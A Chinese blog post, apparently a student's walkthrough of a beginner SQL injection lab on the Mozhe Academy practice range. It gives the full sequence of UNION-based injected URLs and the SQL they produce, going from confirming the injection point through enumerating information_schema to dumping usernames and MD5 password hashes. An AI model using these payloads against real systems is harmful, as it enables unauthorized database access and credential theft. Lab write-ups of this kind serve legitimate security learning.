墨者学院入门手工注入

悠悠 2022-10-08 14:20 128阅读 0赞

## **关于SQL注入** ##

> SQL注入是一种注入攻击，它通过将任意SQL代码插入数据库查询，使攻击者能够完全控制Web应用程序后面的数据库服务器。
> 
> 攻击者可以使用SQL注入漏洞绕过应用程序安全措施；可以绕过网页或Web应用程序的身份验证和授权，并检索整个SQL数据库的内容；还可以使用SQL注入来添加，修改和删除数据库中的记录。
> 
> SQL注入漏洞可能会影响使用SQL数据库（如MySQL，Oracle，SQL Server或其他）的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据：客户信息，个人数据，商业机密，知识产权等。SQL注入攻击是最古老，最流行，最危险的Web应用程序漏洞之一。
> 
> https://baijiahao.baidu.com/s?id=1629045600845343519&wfr=spider&for=pc

以下为详细步骤

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **01.寻找注入点** ##

点开在线靶场网址是一个登录界面，此时不知道账号和密码，随意输入一个尝试之后当然显示的是账号或密码错误，于是会选择尝试SQL注入

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70][]

在登陆界面下方有一条滚动的公告，点开后检查url发现可能存在注入点

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1][]

url为

http://219.153.49.228:48917/new_list.php?id=1

数据库执行

select * from news where id=1

在我们寻找网页注入点时，要多留意有参数的地方，比如此处的id，说明可以查询id=1的内容来获取页面，也就存在了注入的可能。

于是在url后面加上and 1=1

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=1

**数据库执行**

select * from news where id=1 and 1=1

此时因为1=1在数据库中是恒为true的，故页面不会出错

![20210621222929268.png][]

而当我们输入1=2时，因为在数据库中1=2恒为flase，故页面出错

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=2

**数据库执行：**

select * from news where id=1 and 1=2

**页面：**

![20210621222953614.png][]

由此可以确定，公告页为注入点

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **02判断字段数及内容** ##

找到注入点后可以通过SQL语句中的

order by N

来判断这里有几个字段即数据库有多少列

在数据库中执行的语句为

select * from news where id=1 order by N

在此处从N=1开始尝试

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2][]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3][]

一直到order by 5的时候页面出现了错误，说明数据库一共有四个字段

![20210621223130661.png][]

order by 5时页面为空，说明该页面数据库一共存在四个字段

已经知道数据库有四个字段，接下来就查询这四个字段分别代表的是什么，于是我们就在显示为空界面的时候联合查询1234的位置，采用Union语句进行联合查询

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,2,3,4

**数据库执行：**

select * from news where id=1 and 1=2 union select 1,2,3,4

**页面：**

![20210621223202777.png][]

在原本标题title位显示为2，内容context位显示为3，故这是两个出错的字段，可以利用出错位来进行数据库信息的显示。

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **03.数据库爆破** ##

不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们需要要判断一下数据库的类型。我们让2的位置显示database()数据库名称，3的位置显示version()版本号。

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

**数据库执行：**

select * from news where id=1 and 1=2 union select 1,database(),version(),4

**页面：**

![20210621223222284.png][]

同理还可以查询用户的名称

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,2,user(),4

**数据库执行：**

select * from news where id=1 and 1=2 union select 1,2,user(),4

**页面：**

![20210621223240749.png][]

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **04.爆破得数据库名** ##

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

**数据库执行：**

select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

**页面：**

![20210621223300780.png][]

此时title位显示为information\_schema

> information\_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式。什么是元数据呢？元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。在MySQL中，把 information\_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权 限等。在INFORMATION\_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，你将无法看到与之相关的任何文件。

limit 0,1的意思是从第0行起的第1列数据，information\_schema即为获得的第二个表名

以此类推分别查询limit 1,1

![图片][7ea0293136f44249b1bc24f66b84622e.png]

limit 2,1

![图片][05a85bc1f2922b19b1d2cb28b26a7fe9.png]

limit 3,1

![图片][953377281015d6432232a3cbd3c03830.png]

limit 4,1

![图片][2d2b304b746acd06fd425cf2f25acab9.png]

limit 5,1时页面为空，说明一共是五个表，分别为

information\_schema、mozhe\_Discuz\_StormGroup、mysql、performance\_schema、sys

若想要一次性查询所有数据库的名称可采用下列语句

http://219.153.49.228:49363/new_list.php?id=1 and 1=2 UNION SELECT 1,database(),group_concat(schema_name),4 from information_schema.SCHEMA

页面：

![图片][8041a8869b86ceafcad93eb5acdc35c5.png]

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **05.爆破得数据库表名** ##

此处为了简便和起示范作用直接爆破目标数据库（就是储存了用户名和密码的数据库）

假设已知该数据库为mozhe\_Discuz\_StormGroup

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

**数据库执行：**

select * from news where id=1 and 1=2 unionselect 1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

**页面：**

![图片][aac2defc9d6cc8e0db60827d1d875bd5.png]

在原来的标题上位置显示为StormGroup\_member，内容的位置显示为3  
分析解说：查询对应数据库mozhe\_Discuz\_StormGroup的第1个数据表名称，limit 0,1，第1个表名为StormGroup\_member。

依次类推依次查询第二个

limit 1,1

![图片][2e2eed116c26bd3426f7862f5142a88f.png]

limit 2,1时为空，说明只有两个表StormGroup\_member、notice

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

**06.爆破得数据库列名及类型**

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNSwhere TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member'limit 0,1

**数据库执行：**

select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

**页面：**

![图片][a68425d734acfbdbc90e4cd57cd72176.png]

在原来的标题上位置显示为id，内容的位置显示为int(11)  
分析解说：查询数据库mozhe\_Discuz\_StormGroup的表StormGroup\_member中的第一个字段名称与类型，第一个名称为id，类型：整型int(11)。

以此类推，分别查询第二个字段，第三个字段

limit 1,1

![图片][1399c385909a35ecc51cc386adea6880.png]

第二个字段是用户名，为varchar型，长度为20以内

limit 2,1

![图片][cef5c4f8794555e37c042aa5a29dc5f7.png]

第三个字段是密码，为varchar型，长度为255以内

limit 3,1

![图片][87a753b6113ecd76936a450e8fa95923.png]

第四个字段是status，为int型，长度为11以内

limit 4,1页面为空，说明一共有四个字段

id，name，password，status

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **07.查询用户数据总数** ##

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

**数据库执行：**

select * from news where id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

**页面：**

![图片][2954db5e9862ebd801d490b503393846.png]

查询数据库mozhe\_Discuz\_StormGroup的表StormGroup\_member中数据总数，共有2条数据，即有两个用户的数据

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **08.爆破得用户名及密码** ##

使用CONCAT()函数

**页面提交：**

http://219.153.49.228:48917/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

**数据库执行：**

select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

**页面：**

![图片][9cd1409a8c75151534c53c01c607bf9d.png]

一共有两个用户数据，故我们再查询limit 1,1

![图片][d6717b89f8dfe13e2ec244cc031630a2.png]

经过观察，密码的形式似乎经过MD5加密，经过在线网站转码之后即可获得正确的密码。

注意：status代表用户是否可用，只有status=1才可以登录网站

![图片][798dfde1c00ab6348ca1d82dff2538f1.png]

## **09.登录获得KEY** ##

![图片][3bf18f734164b25dd43855e6c6c8598a.png]

![图片][20dea8ab5641322b85d799ef74fe29ae.png]

![图片][01fd4ca3bf3c607386c0086ba7ff5c97.gif]

## **总结** ##

--------------------

第一次很仔细详细地完成了SQL注入，这是最简单的一个类型，SQL注入语句没有做任何的转义和注释，而在实际过程可能遇到对注入点进行处理，闭合的引号括号等等。大一的时候就尝试过做SQL注入的题目，但是那个时候没有学习数据结构和数据库，对于注入的语句为什么那样写觉得很费解。现在数据库快结课了，再看最简单的SQL手工注入会觉得清晰很多。还是需要对各种数据库的语句有很高的熟练度，在做题中慢慢积累。

2020-05-06

[798dfde1c00ab6348ca1d82dff2538f1.png]: /images/20221005/4ae66ebddcf544f0a33da1dc058ca7f0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70]: /images/20221005/ddfc8a108e2f435599fd240e1486f6d1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1]: /images/20221005/92c536b21efd47a399a8eeb0f258e87e.png
[20210621222929268.png]: /images/20221005/5e2643f75f8941278495934842e5fdbc.png
[20210621222953614.png]: /images/20221005/adbf98740be6458db875670bd42c3a4a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2]: /images/20221005/78982a61b14a460285f0861be046d13e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3]: /images/20221005/498f9bdf31ec43c1abe4bf91c66472bc.png
[20210621223130661.png]: /images/20221005/c8fc17fc005749dd8b69805ae4688413.png
[20210621223202777.png]: /images/20221005/7a1b8990775e44d3b89ce9587b473522.png
[20210621223222284.png]: /images/20221005/d04095f9f747443f9da2fe7f1371ef25.png
[20210621223240749.png]: /images/20221005/32f267709bd74c7aae0a6512f5f621c7.png
[20210621223300780.png]: /images/20221005/059d2dcd80fb4cf981fae8c37f7b68df.png
[7ea0293136f44249b1bc24f66b84622e.png]: /images/20221005/f8229eaf2a07432fb161510c0f577c94.png
[05a85bc1f2922b19b1d2cb28b26a7fe9.png]: /images/20221005/0fac1f4ebce84510814a2d76f50ca872.png
[953377281015d6432232a3cbd3c03830.png]: /images/20221005/15a999bbf4934b05a5cdccca0cf030e4.png
[2d2b304b746acd06fd425cf2f25acab9.png]: /images/20221005/dfd83d3a4c3b4e1e98873f2c0ac2a537.png
[8041a8869b86ceafcad93eb5acdc35c5.png]: /images/20221005/4979d38a21b744508c2387e25cbc1e1f.png
[aac2defc9d6cc8e0db60827d1d875bd5.png]: /images/20221005/8aa6ceca3f48414e95ef11313c0287ac.png
[2e2eed116c26bd3426f7862f5142a88f.png]: /images/20221005/38653fb0e7d943faa76c26848259b1e4.png
[a68425d734acfbdbc90e4cd57cd72176.png]: /images/20221005/b6c21ac48730495d838c16c53a7ff179.png
[1399c385909a35ecc51cc386adea6880.png]: /images/20221005/26b91507f7bb4a499c883098d40001b3.png
[cef5c4f8794555e37c042aa5a29dc5f7.png]: /images/20221005/18018cb81af845bdb6f35f689b8f75ab.png
[87a753b6113ecd76936a450e8fa95923.png]: /images/20221005/001ff9c2221e4a68afd1c67b52f37a4b.png
[2954db5e9862ebd801d490b503393846.png]: /images/20221005/157e0101b53c48b7b33288e78c87ac70.png
[9cd1409a8c75151534c53c01c607bf9d.png]: /images/20221005/c7610f58272e4cf3ab93ff5594592a05.png
[d6717b89f8dfe13e2ec244cc031630a2.png]: /images/20221005/21cad11cf76c4d9f9d95c45a7ceb3f9f.png
[3bf18f734164b25dd43855e6c6c8598a.png]: /images/20221005/8a6eae6a70924afd989d8c35e608f53f.png
[20dea8ab5641322b85d799ef74fe29ae.png]: /images/20221005/f46de72d311140d7a772937c49de42cc.png
[01fd4ca3bf3c607386c0086ba7ff5c97.gif]: /images/20221005/7fd6736f35454946b8528ab10404fbdb.png